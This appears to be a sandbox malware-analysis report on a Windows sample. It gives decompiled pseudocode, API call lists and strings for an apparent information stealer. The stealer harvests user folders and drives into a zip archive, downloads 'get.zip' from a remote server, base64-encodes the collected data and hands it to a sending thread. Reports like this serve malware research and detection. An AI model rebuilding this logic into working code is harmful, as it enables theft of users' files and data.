							if((_t403 & 0xffffff00 | _t314 == 0x00000001) == 0) {
								__eflags = _t314 - 2;
								if(_t314 == 2) {
									_t506 = _t471[1];
									 *0x4537d4 = L00427D00(_t506);
									__eflags = _t506;
									if(_t506 != 0) {
										L00428EB0(_t506);
									}
									L74:
									_push(_t471);
									_t314 = E00429B0B();
									L75:
									 *[fs:0x0] = _v16;
									_pop(_t472);
									_pop(_t505);
									_pop(_t362);
									return E00429B16(_t314, _t362, _v20 ^ _t514, _t442, _t472, _t505);
								}
								 *0x4537d4 = 0x80000;
								goto L75;
							}
							if(_t314 == 1) {
								_t507 = _t471[1];
								 *0x453670 = L00409E70(_t507);
								__eflags = _t507;
								if(_t507 != 0) {
									L00409FD0(_t507);
								}
								goto L74;
							}
							 *0x453670 = 0x80000;
						}
						goto L75;
					}
					while(1) {
						_t324 = GetDriveTypeA(_t473);
						if(_v5504 == 0 || _t324 != 2) {
							goto L45;
						}
						 *0x45358c( &_v3124,  &_v1020);
						_t363 = StrStrA( &_v3124, "%DRIVE_REMOVABLE%");
						_t328 =  &_v3124;
						if(_t363 == 0) {
							L48:
							 *0x45358c( &_v3124, _t328);
							_t403 = _v5496;
							E0040C340(_v5480, _t403, _v5484, _v5492, _a24, _t566,  &_v3124, _v5484, _a16, _a8, _v5500);
							_t509 = _v5476;
							_t535 = _t535 + 0x14;
							_t333 = lstrlenA(_t509);
							_v5476 =  &(_t509[_t333 + 1]);
							if(_t509[_t333 + 1] != 0) {
								_t473 = _v5476;
								continue;
							}
							goto L51;
						}
						_t511 = _t363 - _t328;
						 *0x453458("C:\Users\engineer\Desktop\\", _t328, _t511);
						_push("%DRIVE_REMOVABLE%");
						L47:
						_t150 =  &(0x4537f0[_t511]); // 0x555c3a43
						_t512 = _t150;
						 *_t512 = 0;
						_t337 = L00429C90() + _t363;
						_t566 = _t337;
						wsprintfA(_t512, "%s%s", _t473, _t337);
						_t535 = _t535 + 0x14;
						_t328 = 0x4537f0;
						goto L48;
						L45:
						 *0x45358c( &_v3124,  &_v1020);
						_t363 = StrStrA( &_v3124, "%DRIVE_FIXED%");
						_t328 =  &_v3124;
						__eflags = _t363;
						if(__eflags == 0) {
							goto L48;
						}
						_t511 = _t363 - _t328;
						__eflags = _t511;
						 *0x453458("C:\Users\engineer\Desktop\\", _t328, _t511);
						_push("%DRIVE_FIXED%");
						goto L47;
					}
				}
			}

0x0040c3b6
0x0040c3bb
0x0040c3c0
0x0040c3c2
0x0040c3cc
0x0040c3dd
0x0040c3e5
0x0040c3f6
0x0040c3fc
0x0040c402
0x0040c417
0x0040c42c
0x0040c440
0x0040c44e
0x0040c460
0x0040c46b
0x0040c47d
0x0040c483
0x0040c489
0x0040c48f
0x0040c494
0x0040c4a3
0x0040c4a9
0x0040c4c1
0x0040c4c9
0x0040c4cd
0x0040c4d3
0x0040c4db
0x0040c4e4
0x0040c4ea
0x0040c4ea
0x0040c4f5
0x0040c500
0x0040c500
0x0040c50a
0x0040c510
0x0040c513
0x0040c4cf
0x0040c4cf
0x0040c4cf
0x0040c520
0x0040c534
0x0040c539
0x0040c56a
0x0040c56d
0x0040c575
0x0040c579
0x0040c583
0x0040c58b
0x0040c596
0x0040c59c
0x0040c59c
0x0040c5a7
0x0040c5b2
0x0040c5b2
0x0040c5bc
0x0040c5c2
0x0040c5c5
0x0040c57b
0x0040c57b
0x0040c57b
0x0040c5d2
0x0040c5e6
0x0040c5eb
0x0040c61c
0x0040c61f
0x0040c627
0x0040c62b
0x0040c635
0x0040c63d
0x0040c648
0x0040c64e
0x0040c64e
0x0040c659
0x0040c664
0x0040c664
0x0040c66e
0x0040c674
0x0040c677
0x0040c62d
0x0040c62d
0x0040c62d
0x0040c684
0x0040c698
0x0040c6a2
0x0040c6b1
0x0040c6bb
0x0040c6c1
0x0040c6de
0x0040c6f5
0x0040c6f8
0x0040c70c
0x0040c710
0x0040c715
0x0040c718
0x0040c71d
0x0040c724
0x0040c72a
0x0040c726
0x0040c726
0x0040c726
0x0040c73e
0x0040c742
0x0040c74c
0x0040c754
0x0040c75f
0x0040c765
0x0040c765
0x0040c770
0x0040c77b
0x0040c77b
0x0040c785
0x0040c78b
0x0040c78e
0x0040c793
0x0040c744
0x0040c744
0x0040c744
0x0040c7a0
0x0040c7ac
0x0040c7b4
0x0040c7b5
0x0040c7ba
0x0040c7ba
0x0040c7c4
0x0040c7ca
0x0040c7d0
0x0040c7dc
0x0040c7e4
0x0040c7e5
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7f4
0x0040c7fa
0x0040c800
0x0040c80c
0x0040c814
0x0040c815
0x0040c81a
0x0040c81a
0x0040c82a
0x0040c82f
0x0040c83e
0x0040c85d
0x0040c860
0x0040c868
0x0040c86c
0x0040c876
0x0040c87e
0x0040c889
0x0040c88f
0x0040c88f
0x0040c89a
0x0040c8a5
0x0040c8a5
0x0040c8af
0x0040c8b5
0x0040c8b8
0x0040c86e
0x0040c86e
0x0040c86e
0x0040c8c5
0x0040c8d9
0x0040c8de
0x0040c8f0
0x0040c90f
0x0040c912
0x0040c91a
0x0040c91e
0x0040c928
0x0040c930
0x0040c93b
0x0040c941
0x0040c941
0x0040c94c
0x0040c957
0x0040c957
0x0040c961
0x0040c967
0x0040c96a
0x0040c920
0x0040c920
0x0040c920
0x0040c977
0x0040c98b
0x0040c990
0x0040c9a2
0x0040c9c1
0x0040c9c4
0x0040c9cc
0x0040c9d0
0x0040c9da
0x0040c9e2
0x0040c9ed
0x0040c9f3
0x0040c9f3
0x0040c9fe
0x0040ca09
0x0040ca09
0x0040ca13
0x0040ca19
0x0040ca1c
0x0040c9d2
0x0040c9d2
0x0040c9d2
0x0040ca29
0x0040ca3d
0x0040ca42
0x0040ca54
0x0040ca73
0x0040ca76
0x0040ca7e
0x0040ca82
0x0040ca8c
0x0040ca94
0x0040ca9f
0x0040caa5
0x0040caa5
0x0040cab0
0x0040cabb
0x0040cabb
0x0040cac5
0x0040cacb
0x0040cace
0x0040ca84
0x0040ca84
0x0040ca84
0x0040cadb
0x0040cae1
0x0040cae3
0x0040caee
0x0040cafc
0x0040cafe
0x0040cafe
0x0040cb04
0x0040cb06
0x0040cb11
0x0040cb1a
0x0040cb1c
0x0040cb22
0x0040cb22
0x0040cb36
0x0040cb3e
0x0040cb40
0x0040cb49
0x0040cb4f
0x0040ccea
0x0040ccf2
0x0040ccf4
0x0040ccf9
0x00000000
0x0040cb55
0x0040cb55
0x0040cb5e
0x0040cb6b
0x0040cb71
0x0040cb77
0x0040ccfc
0x0040ccfc
0x0040cd09
0x0040cd17
0x0040cd1a
0x0040cd34
0x0040cd37
0x0040cd3b
0x0040cd3f
0x0040cd3f
0x0040cd44
0x0040cd4b
0x0040cd52
0x0040cd52
0x0040cd57
0x0040cd5b
0x0040cd5e
0x0040cd1c
0x0040cd1c
0x0040cd22
0x0040cd28
0x0040cd28
0x0040cd0b
0x0040cd0b
0x0040cd0d
0x0040cd0f
0x0040cd0f
0x0040cd63
0x0040cd6b
0x0040cd75
0x0040cd78
0x0040cd86
0x0040cd98
0x0040cd7a
0x0040cd7a
0x0040cd7a
0x0040cd6d
0x0040cd6d
0x0040cd6d
0x0040cd9f
0x0040cdd6
0x0040cda1
0x0040cda1
0x0040cdab
0x0040cdde
0x0040cde1
0x0040cdef
0x0040cdf7
0x0040cdfc
0x0040cdfe
0x0040ce00
0x0040ce00
0x0040ce05
0x0040ce05
0x0040ce06
0x0040ce0e
0x0040ce11
0x0040ce19
0x0040ce1a
0x0040ce1b
0x0040ce29
0x0040ce29
0x0040cde3
0x00000000
0x0040cde3
0x0040cdb0
0x0040cdbe
0x0040cdc6
0x0040cdcb
0x0040cdcd
0x0040cdcf
0x0040cdcf
0x00000000
0x0040cdcd
0x0040cdb2
0x0040cdb2
0x00000000
0x0040cd9f
0x0040cb86
0x0040cb87
0x0040cb94
0x00000000
0x00000000
0x0040cba9
0x0040cbc1
0x0040cbc3
0x0040cbcb
0x0040cc5e
0x0040cc66
0x0040cc90
0x0040cc9e
0x0040cca3
0x0040cca9
0x0040ccad
0x0040ccbc
0x0040ccc2
0x0040cb80
0x00000000
0x0040cb80
0x00000000
0x0040ccc8
0x0040cbd5
0x0040cbde
0x0040cbe4
0x0040cc35
0x0040cc35
0x0040cc35
0x0040cc3b
0x0040cc46
0x0040cc46
0x0040cc50
0x0040cc56
0x0040cc59
0x00000000
0x0040cbeb
0x0040cbf9
0x0040cc11
0x0040cc13
0x0040cc19
0x0040cc1b
0x00000000
0x00000000
0x0040cc21
0x0040cc21
0x0040cc2a
0x0040cc30
0x00000000
0x0040cc30
0x0040cb86

APIs

_memset.LIBCMT ref: 0040C402
_memset.LIBCMT ref: 0040C417
_memset.LIBCMT ref: 0040C42C
lstrcatA.KERNEL32(?,\Files\), ref: 0040C440
lstrcatA.KERNEL32(?,?), ref: 0040C44E
lstrcatA.KERNEL32(?,.zip), ref: 0040C460
_memset.LIBCMT ref: 0040C48F
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0040C4A3
StrStrA.SHLWAPI(?,%APPDATA%), ref: 0040C4C3
lstrcpyn.KERNEL32(C:\Users\user\Desktop\\,?,00000000), ref: 0040C4E4
_strlen.LIBCMT ref: 0040C4F8
wsprintfA.USER32 ref: 0040C50A
lstrcpy.KERNEL32(?,C:\Users\user\Desktop\\), ref: 0040C520
_memset.LIBCMT ref: 0040C534
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C54B
StrStrA.SHLWAPI(?,%LOCALAPPDATA%), ref: 0040C56F
lstrcpyn.KERNEL32(C:\Users\user\Desktop\\,?,00000000), ref: 0040C596
_strlen.LIBCMT ref: 0040C5AA
wsprintfA.USER32 ref: 0040C5BC
lstrcpy.KERNEL32(?,C:\Users\user\Desktop\\), ref: 0040C5D2
_memset.LIBCMT ref: 0040C5E6
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0040C5FD
StrStrA.SHLWAPI(?,%USERPROFILE%), ref: 0040C621
lstrcpyn.KERNEL32(C:\Users\user\Desktop\\,?,00000000), ref: 0040C648
_strlen.LIBCMT ref: 0040C65C
wsprintfA.USER32 ref: 0040C66E
lstrcpy.KERNEL32(?,C:\Users\user\Desktop\\), ref: 0040C684
GetUserNameA.ADVAPI32 ref: 0040C6A2
_strlen.LIBCMT ref: 0040C6C8

Part of subcall function 004055B0: _strlen.LIBCMT ref: 004055C2

Part of subcall function 00410970: _strlen.LIBCMT ref: 00410982

StrStrA.SHLWAPI(?,%DESKTOP%,?,00000000,?), ref: 0040C738
lstrcpyn.KERNEL32(C:\Users\user\Desktop\\,?,00000000,?,00000000,?), ref: 0040C75F
_strlen.LIBCMT ref: 0040C773
wsprintfA.USER32 ref: 0040C785
lstrcpy.KERNEL32(?,C:\Users\user\Desktop\\), ref: 0040C7A0
_memset.LIBCMT ref: 0040C82A
SHGetFolderPathA.SHELL32(00000000,00000005,00000000,00000000,?), ref: 0040C83E
StrStrA.SHLWAPI(?,%DOCUMENTS%), ref: 0040C862
lstrcpyn.KERNEL32(C:\Users\user\Desktop\\,?,00000000), ref: 0040C889
_strlen.LIBCMT ref: 0040C89D
wsprintfA.USER32 ref: 0040C8AF
lstrcpy.KERNEL32(?,C:\Users\user\Desktop\\), ref: 0040C8C5
_memset.LIBCMT ref: 0040C8D9
SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 0040C8F0
StrStrA.SHLWAPI(?,%PROGRAMFILES%), ref: 0040C914
lstrcpy.KERNEL32(?,C:\Users\user\Desktop\\), ref: 0040C977
_memset.LIBCMT ref: 0040C98B
SHGetFolderPathA.SHELL32(00000000,0000002A,00000000,00000000,?), ref: 0040C9A2
StrStrA.SHLWAPI(?,%PROGRAMFILES_86%), ref: 0040C9C6
lstrcpyn.KERNEL32(C:\Users\user\Desktop\\,?,00000000), ref: 0040C9ED
_strlen.LIBCMT ref: 0040CA01
wsprintfA.USER32 ref: 0040CA13
lstrcpy.KERNEL32(?,C:\Users\user\Desktop\\), ref: 0040CA29
_memset.LIBCMT ref: 0040CA3D
SHGetFolderPathA.SHELL32(00000000,00000008,00000000,00000000,?), ref: 0040CA54
StrStrA.SHLWAPI(?,%RECENT%), ref: 0040CA78
lstrcpyn.KERNEL32(C:\Users\user\Desktop\\,?,00000000), ref: 0040CA9F
_strlen.LIBCMT ref: 0040CAB3
wsprintfA.USER32 ref: 0040CAC5
lstrcpy.KERNEL32(?,C:\Users\user\Desktop\\), ref: 0040CADB
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 0040CB5E
GetDriveTypeA.KERNEL32(00000000), ref: 0040CB87

Strings

%USERPROFILE%, xrefs: 0040C60A, 0040C654
C:\Users\user\Desktop\\, xrefs: 0040C4DF, 0040C513, 0040C518, 0040C591, 0040C5C5, 0040C5CA, 0040C643, 0040C677, 0040C67C, 0040C75A, 0040C78E, 0040C798, 0040C884, 0040C8B8, 0040C8BD, 0040C936, 0040C96A, 0040C96F, 0040C9E8, 0040CA1C, 0040CA21, 0040CA9A, 0040CACE, 0040CAD3, 0040CBD9, 0040CC25, 0040CC59, 0040CC5E
C:\Users\, xrefs: 0040C6EA
\Desktop\, xrefs: 0040C701
%DESKTOP%, xrefs: 0040C72C, 0040C76B
\Files\, xrefs: 0040C434
%APPDATA%, xrefs: 0040C4B4, 0040C4F0
%DOCUMENTS%, xrefs: 0040C84B, 0040C895
%PROGRAMFILES_86%, xrefs: 0040C9AF, 0040C9F9
%RECENT%, xrefs: 0040CA61, 0040CAAB
*%DRIVE_FIXED%*, xrefs: 0040CAE3
*%RECENT%*, xrefs: 0040CB30
.zip, xrefs: 0040C454
%DRIVE_REMOVABLE%, xrefs: 0040CBAF, 0040CBE4
*%DRIVE_REMOVABLE%*, xrefs: 0040CB06
%LOCALAPPDATA%, xrefs: 0040C558, 0040C5A2
%PROGRAMFILES%, xrefs: 0040C8FD, 0040C947
%DRIVE_FIXED%, xrefs: 0040CBFF, 0040CC30
%s%s, xrefs: 0040C504, 0040C5B6, 0040C668, 0040C77F, 0040C8A9, 0040C95B, 0040CA0D, 0040CABF, 0040CC4A

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memset_strlen$lstrcpy$FolderPathlstrcpynwsprintf$lstrcat$Drive$LogicalNameStringsTypeUser
String ID: %APPDATA%$%DESKTOP%$%DOCUMENTS%$%DRIVE_FIXED%$%DRIVE_REMOVABLE%$%LOCALAPPDATA%$%PROGRAMFILES%$%PROGRAMFILES_86%$%RECENT%$%USERPROFILE%$%s%s$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*$*%RECENT%*$.zip$C:\Users\$C:\Users\user\Desktop\\$\Desktop\$\Files\
API String ID: 138233689-2652422040
Opcode ID: 476021acf6980703c4ec880b764f07698103918252f1d46cb7a756a7de1279f4
Instruction ID: c66da869d38f28963788c5b8d8e4d4e299a3b993b21816e976d1277a8ade3e65
Opcode Fuzzy Hash: 476021acf6980703c4ec880b764f07698103918252f1d46cb7a756a7de1279f4
Instruction Fuzzy Hash: E452C2B1E40319ABD720DF60DC85BEA7778EB44742F0045AAF509A7281EB74AB44CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040F9E0 Relevance: 90.0, APIs: 43, Strings: 8, Instructions: 726
stringsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0040F9E0(void* __eflags, void* __fp0) {
				char _v8;
				char _v16;
				signed int _v24;
				char _v28;
				char _v36;
				char _v40;
				signed int _v44;
				char _v48;
				char _v52;
				char _v60;
				char _v68;
				char _v1044;
				char _v2028;
				char _v2292;
				char _v2300;
				char _v2316;
				intOrPtr _v2320;
				void* _v2324;
				void* _v2340;
				intOrPtr _v2348;
				struct _SECURITY_ATTRIBUTES* _v2352;
				char _v2368;
				intOrPtr _v2376;
				void* _v2380;
				intOrPtr _v2388;
				signed int _v2392;
				char _v2396;
				char _v2408;
				char _v2412;
				char _v2428;
				void* _v2432;
				char _v2436;
				intOrPtr _v2440;
				struct _SECURITY_ATTRIBUTES* _v2444;
				char _v2448;
				struct _SECURITY_ATTRIBUTES* _v2452;
				void* _v2460;
				char _v2468;
				struct _SECURITY_ATTRIBUTES* _v2472;
				char _v2488;
				char _v2492;
				struct _SECURITY_ATTRIBUTES* _v2496;
				void* _v2500;
				intOrPtr _v2504;
				char _v2512;
				char _v2516;
				void* _v2524;
				void* _v2528;
				char _v2532;
				char _v2544;
				intOrPtr _v2552;
				void* _v2556;
				int _v2560;
				int _v2564;
				int _v2568;
				void* _v2572;
				intOrPtr _v2576;
				void* _v2580;
				void* _v2584;
				struct _SECURITY_ATTRIBUTES* _v2588;
				char _v2596;
				char _v2600;
				char _v2604;
				char _v2612;
				char _v2625;
				void* _v2626;
				signed int _v2627;
				char _v2628;
				char _v2629;
				char _v2630;
				char _v2631;
				char _v2632;
				intOrPtr _v2636;
				void _v2640;
				void _v2644;
				char _v2648;
				int _v2652;
				intOrPtr* _v2656;
				intOrPtr _v2660;
				long _v2664;
				intOrPtr _v2668;
				char _v2672;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t235;
				signed int _t237;
				CHAR* _t244;
				CHAR* _t246;
				CHAR* _t249;
				void* _t251;
				void* _t253;
				CHAR* _t256;
				void* _t261;
				CHAR* _t265;
				CHAR* _t267;
				void* _t268;
				intOrPtr _t269;
				CHAR* _t271;
				void* _t276;
				void* _t278;
				intOrPtr _t282;
				void* _t290;
				signed int _t292;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t312;
				signed int _t328;
				char* _t331;
				void* _t340;
				CHAR* _t344;
				CHAR* _t346;
				void* _t348;
				CHAR* _t353;
				void* _t354;
				int _t375;
				void* _t377;
				char _t387;
				signed char _t393;
				char* _t414;
				signed int _t423;
				BYTE* _t439;
				void* _t440;
				char* _t451;
				void* _t452;
				intOrPtr* _t453;
				char _t454;
				void* _t455;
				char* _t460;
				signed int _t461;
				signed int _t463;
				void* _t464;
				void* _t465;
				intOrPtr _t466;
				char _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				signed int _t472;
				int _t481;
				void _t482;
				char* _t483;
				intOrPtr _t485;
				char* _t486;
				char* _t488;
				void _t489;
				void _t491;
				void* _t514;

				_t514 = __fp0;
				_push(0xffffffff);
				_push(E0043F2AD);
				_push( *[fs:0x0]);
				_t463 = (_t461 & 0xfffffff8) - 0xa40;
				_t235 =  *0x450664; // 0x30e242aa
				_v24 = _t235 ^ _t463;
				_t237 =  *0x450664; // 0x30e242aa
				_push(_t237 ^ _t463);
				 *[fs:0x0] =  &_v16;
				_v2392 = 0xf;
				_v2396 = 0;
				_v2412 = 0;
				_v8 = 0;
				E004013D0();
				E00423F60();
				 *0x4532a8 = 0x9c40;
				 *0x4532b4 = 0;
				 *0x4532a0 = 0;
				L00429B30( &_v2028, 0, 0x3e8);
				_t464 = _t463 + 0xc;
				_t432 =  &_v2524;
				_t244 = E0041E580( &_v2524); // executed
				_v8 = 1;
				if(_t244[0x14] >= 0x10) {
					_t244 =  *_t244;
				}
				lstrcatA( &_v2028, _t244);
				_v8 = 0;
				if(_v2504 >= 0x10) {
					_push(_v2524);
					E00429B0B();
					_t464 = _t464 + 4;
				}
				_t246 = E0041F0A0(0, _t432,  &_v2524); // executed
				_v8 = 2;
				if(_t246[0x14] >= 0x10) {
					_t246 =  *_t246;
				}
				lstrcatA( &_v2028, _t246);
				_v8 = 0;
				_t496 = _v2504 - 0x10;
				if(_v2504 >= 0x10) {
					_push(_v2524);
					E00429B0B();
					_t464 = _t464 + 4;
				}
				_t249 = E0041EAE0( &_v2580, _t496); // executed
				_v8 = 3;
				if(_t249[0x14] >= 0x10) {
					_t249 =  *_t249;
				}
				lstrcatA( &_v2028, _t249);
				_v8 = 0;
				if(_v2560 >= 0x10) {
					_push(_v2580);
					E00429B0B();
					_t464 = _t464 + 4;
				}
				_v2560 = 0xf;
				_v2564 = 0;
				_v2580 = 0;
				_t251 = OpenEventA(0x1f0003, 0,  &_v2028);
				 *0x4532b0 = _t251;
				if(_t251 == 0) {
					L14:
					_t253 = CreateEventA(0, 0, 0,  &_v2028);
					_t380 =  &_v2292;
					 *0x4532b0 = _t253;
					L00429B30( &_v2292, 0, 0x104);
					_t465 = _t464 + 0xc;
					lstrcatA( &_v2292, "/");
					_t256 = E0040A300( &_v2292,  &_v2524);
					_v8 = 4;
					if(_t256[0x14] >= 0x10) {
						_t256 =  *_t256;
					}
					lstrcatA( &_v2292, _t256);
					_v8 = 0;
					_t502 = _v2504 - 0x10;
					if(_v2504 >= 0x10) {
						_t380 = _v2524;
						_push(_v2524);
						E00429B0B();
						_t465 = _t465 + 4;
					}
					while(1) {
						_push("|");
						_t466 = _t465 - 0x1c;
						_v2636 = _t466;
						L0040A380(_t380, _t466);
						_t467 = _t466 - 0x1c;
						_v8 = 6;
						_v2628 = _t467;
						L0040A440(_t380, _t467);
						_t450 =  &_v2580;
						_v8 = 7;
						_t261 = L0040A440(_t380,  &_v2580);
						_v8 = 8;
						_push( *((intOrPtr*)(_t261 + 0x10)) + 1);
						_v8 = 9;
						E0040DFB0(_t502); // executed
						_t468 = _t467 + 0x40;
						_v8 = 0;
						if(_v2560 >= 0x10) {
							_push(_v2580);
							E00429B0B();
							_t468 = _t468 + 4;
						}
						_t265 =  *0x4512cc; // 0x4e72f10
						_v2560 = 0xf;
						_v2564 = 0;
						_v2580 = 0;
						if( *0x4512e0 < 0x10) {
							_t265 = 0x4512cc;
						}
						_push("ERROR");
						_push(_t265);
						if( *0x453510() != 0) {
							_t489 = _t468 - 0x1c;
							_t450 = _t489;
							_v2644 = _t489;
							 *((intOrPtr*)(_t450 + 0x14)) = 0xf;
							 *((intOrPtr*)(_t450 + 0x10)) = 0;
							 *_t450 = 0;
							E004050C0(_t450,  &_v2300, L00429C90( &_v2300));
							_t491 = _t489 + 4 - 0x1c;
							_t380 = _t491;
							_v24 = 0xa;
							_v2644 = _t491;
							 *((intOrPtr*)(_t380 + 0x14)) = 0xf;
							 *((intOrPtr*)(_t380 + 0x10)) = 0;
							 *_t380 = 0;
							E004051C0(_t380, 0x4512cc, 0, 0xffffffff);
							_v36 = 0;
							E0040E180(); // executed
							_t468 = _t491 + 0x38;
						}
						_t267 =  *0x4512cc; // 0x4e72f10
						if( *0x4512e0 < 0x10) {
							_t267 = 0x4512cc;
						}
						_t268 =  *0x453510(_t267, "ERROR");
						_t507 = _t268;
						if(_t268 != 0) {
							break;
						}
						_push("|");
						_t481 = _t468 - 0x1c;
						_v2652 = _t481;
						L0040A3C0(_t380, _t481);
						_t482 = _t481 - 0x1c;
						_v24 = 0xc;
						_v2644 = _t482;
						L0040A440(_t380, _t482);
						_t450 =  &_v2596;
						_v24 = 0xd;
						_t340 = L0040A440(_t380,  &_v2596);
						_v24 = 0xe;
						_push( *((intOrPtr*)(_t340 + 0x10)) + 1);
						_v24 = 0xf;
						E0040DFB0(_t507);
						_t468 = _t482 + 0x40;
						_v24 = 0;
						if(_v2576 >= 0x10) {
							_push(_v2596);
							E00429B0B();
							_t468 = _t468 + 4;
						}
						_t344 =  *0x4512cc; // 0x4e72f10
						_v2576 = 0xf;
						_v2580 = 0;
						_v2596 = 0;
						if( *0x4512e0 < 0x10) {
							_t344 = 0x4512cc;
						}
						_push("ERROR");
						_push(_t344);
						if( *0x453510() != 0) {
							_t486 = _t468 - 0x1c;
							_t450 = _t486;
							_v2660 = _t486;
							 *((intOrPtr*)(_t450 + 0x14)) = 0xf;
							 *((intOrPtr*)(_t450 + 0x10)) = 0;
							 *_t450 = 0;
							E004050C0(_t450,  &_v2316, L00429C90( &_v2316));
							_t488 = _t486 + 4 - 0x1c;
							_t414 = _t488;
							_v40 = 0x10;
							_v2660 = _t488;
							 *((intOrPtr*)(_t414 + 0x14)) = 0xf;
							 *((intOrPtr*)(_t414 + 0x10)) = 0;
							 *_t414 = 0;
							E004051C0(_t414, 0x4512cc, 0, 0xffffffff);
							_v52 = 0;
							E0040E180();
							_t468 = _t488 + 0x38;
						}
						_t346 =  *0x4512cc; // 0x4e72f10
						if( *0x4512e0 < 0x10) {
							_t346 = 0x4512cc;
						}
						_push("ERROR");
						_push(_t346);
						if( *0x453510() != 0) {
							break;
						} else {
							_t483 = _t468 - 0x1c;
							_t460 = _t483;
							_v2668 = _t483;
							 *((intOrPtr*)(_t460 + 0x14)) = 0xf;
							 *((intOrPtr*)(_t460 + 0x10)) = 0;
							 *_t460 = 0;
							_t348 = L00429C90( &_v2324);
							_t380 = _t460;
							E004050C0(_t460,  &_v2324, _t348);
							_t485 = _t483 + 4 - 0x1c;
							_v48 = 0x11;
							_t450 = _t485;
							_v2668 = _t485;
							L0040A400(_t460, _t485);
							_v48 = 0;
							E0040E180();
							_t353 =  *0x4512cc; // 0x4e72f10
							_t468 = _t485 + 0x38;
							if( *0x4512e0 < 0x10) {
								_t353 = 0x4512cc;
							}
							_t354 =  *0x453510(_t353, "ERROR");
							_t502 = _t354;
							if(_t354 != 0) {
								break;
							} else {
								Sleep(0x1d4c0);
								continue;
							}
						}
					}
					_t269 = L00428DF0(0x5f5e100, __eflags); // executed
					 *0x4532ac = _t269;
					L00429B30( &_v1044, 0, 0x3e8);
					_t271 =  *0x4512cc; // 0x4e72f10
					_t469 = _t468 + 0xc;
					__eflags =  *0x4512e0 - 0x10;
					if( *0x4512e0 < 0x10) {
						_t271 = 0x4512cc;
					}
					_t420 =  &_v1044;
					lstrcatA( &_v1044, _t271);
					lstrcatA( &_v1044, "/");
					lstrcatA( &_v1044, "get.zip");
					_t276 = E00413DF0( &_v1044); // executed
					 *0x45329c = L00409ED0(0x5f5e100, __eflags, _t276,  &_v1044); // executed
					_t278 = E0040E380(_t420, 0x4485e7, 0); // executed
					_t437 =  *0x45369e & 0x000000ff;
					_t470 = _t469 + 0xc;
					_v2630 =  *0x45369d & 0x000000ff;
					_v2631 =  *0x45369c & 0x000000ff;
					_v2628 =  *0x4536a0 & 0x000000ff;
					_t387 =  *0x4532ac; // 0x0
					_v2629 =  *0x45369f & 0x000000ff;
					_t423 =  *0x4536a1 & 0x000000ff;
					_v2600 = _t387;
					_v2627 = _t423;
					__eflags =  *0x45369e & 0x000000ff;
					_t424 = _t423 & 0xffffff00 | __eflags != 0x00000000;
					_v2625 =  *0x4536a2 & 0x000000ff;
					_t389 =  &_v2632;
					_v2632 = 1;
					_v2626 = _t424;
					E0041B980( &_v2632, __eflags, _t278, _t420);
					__eflags =  *0x4536a0; // 0x1
					if(__eflags != 0) {
						E0040F890(0, _t437);
					}
					__eflags =  *0x4536a4; // 0x1
					if(__eflags != 0) {
						E0040B530(0, _t437, _t450); // executed
					}
					E0040E830(__eflags, _t514);
					__eflags =  *0x45369e; // 0x1
					if(__eflags != 0) {
						_t389 =  &_v2428;
						E00411D60( &_v2428, __eflags); // executed
					}
					E0040CE30(__eflags);
					__eflags =  *0x4536a3; // 0x1
					if(__eflags != 0) {
						E00420CE0();
					}
					_t282 =  *0x4532ac; // 0x0
					_t375 =  &_v2652;
					E00428F80(_t282, _t375, _t389,  &_v2644);
					_t439 = _v2644;
					_t451 = 0;
					_v2648 = 0;
					__eflags = _t439;
					if(_t439 != 0) {
						_t375 = _v2652;
						_t424 =  &_v2648;
						_t328 = CryptBinaryToStringA(_t439, _t375, 0x40000001, 0, _t424);
						__eflags = _t328;
						if(_t328 != 0) {
							_t331 = RtlAllocateHeap(GetProcessHeap(), 0, _v2664); // executed
							_t451 = _t331;
							__eflags = _t451;
							if(_t451 != 0) {
								L00429B30(_t451, 0, _v2672);
								_t470 = _t470 + 0xc;
								_t424 =  &_v2672;
								CryptBinaryToStringA(_t439, _t375, 0x40000001, _t451, _t424);
							}
						}
					}
					_v2640 = _t451;
					_v2636 = _v2648;
					CreateThread(0, 0, E0040E460,  &_v2640, 0, 0); // executed
					_t452 = 0;
					__eflags =  *0x4536ac - _t452; // 0x1
					if(__eflags != 0) {
						L61:
						Sleep(0x3e8); // executed
						__eflags =  *0x4536b4;
					} else {
						while(1) {
							__eflags =  *0x4536b0;
							if( *0x4536b0 != 0) {
								break;
							}
							__eflags = _t452 - 0x3c;
							if(_t452 == 0x3c) {
								_t424 =  &_v2644;
								CreateThread(0, 0, E0040E460, _t424, 0, 0);
								_t452 = 0;
								__eflags = 0;
							}
							Sleep(0x3e8); // executed
							_t452 = _t452 + 1;
							__eflags =  *0x4536ac;
							if( *0x4536ac == 0) {
								continue;
							} else {
								do {
									goto L61;
								} while ( *0x4536b4 == 0);
								break;
							}
						}
						_v2568 = 0;
						_v2564 = 0;
						_v2560 = 0;
						_v2572 = 0xffffffff;
						_v2656 =  &_v2572;
						_t453 = _v2656;
						asm("cpuid");
						 *_t453 = 1;
						 *(_t453 + 4) = _t375;
						 *((intOrPtr*)(_t453 + 8)) = 0;
						 *(_t453 + 0xc) = _t424;
						_t393 = _v2564 >> 0x1f;
						__eflags = _t393 & 0x00000001;
						if((_t393 & 0x00000001) != 0) {
							L84:
							_t454 = 0x10;
							L85:
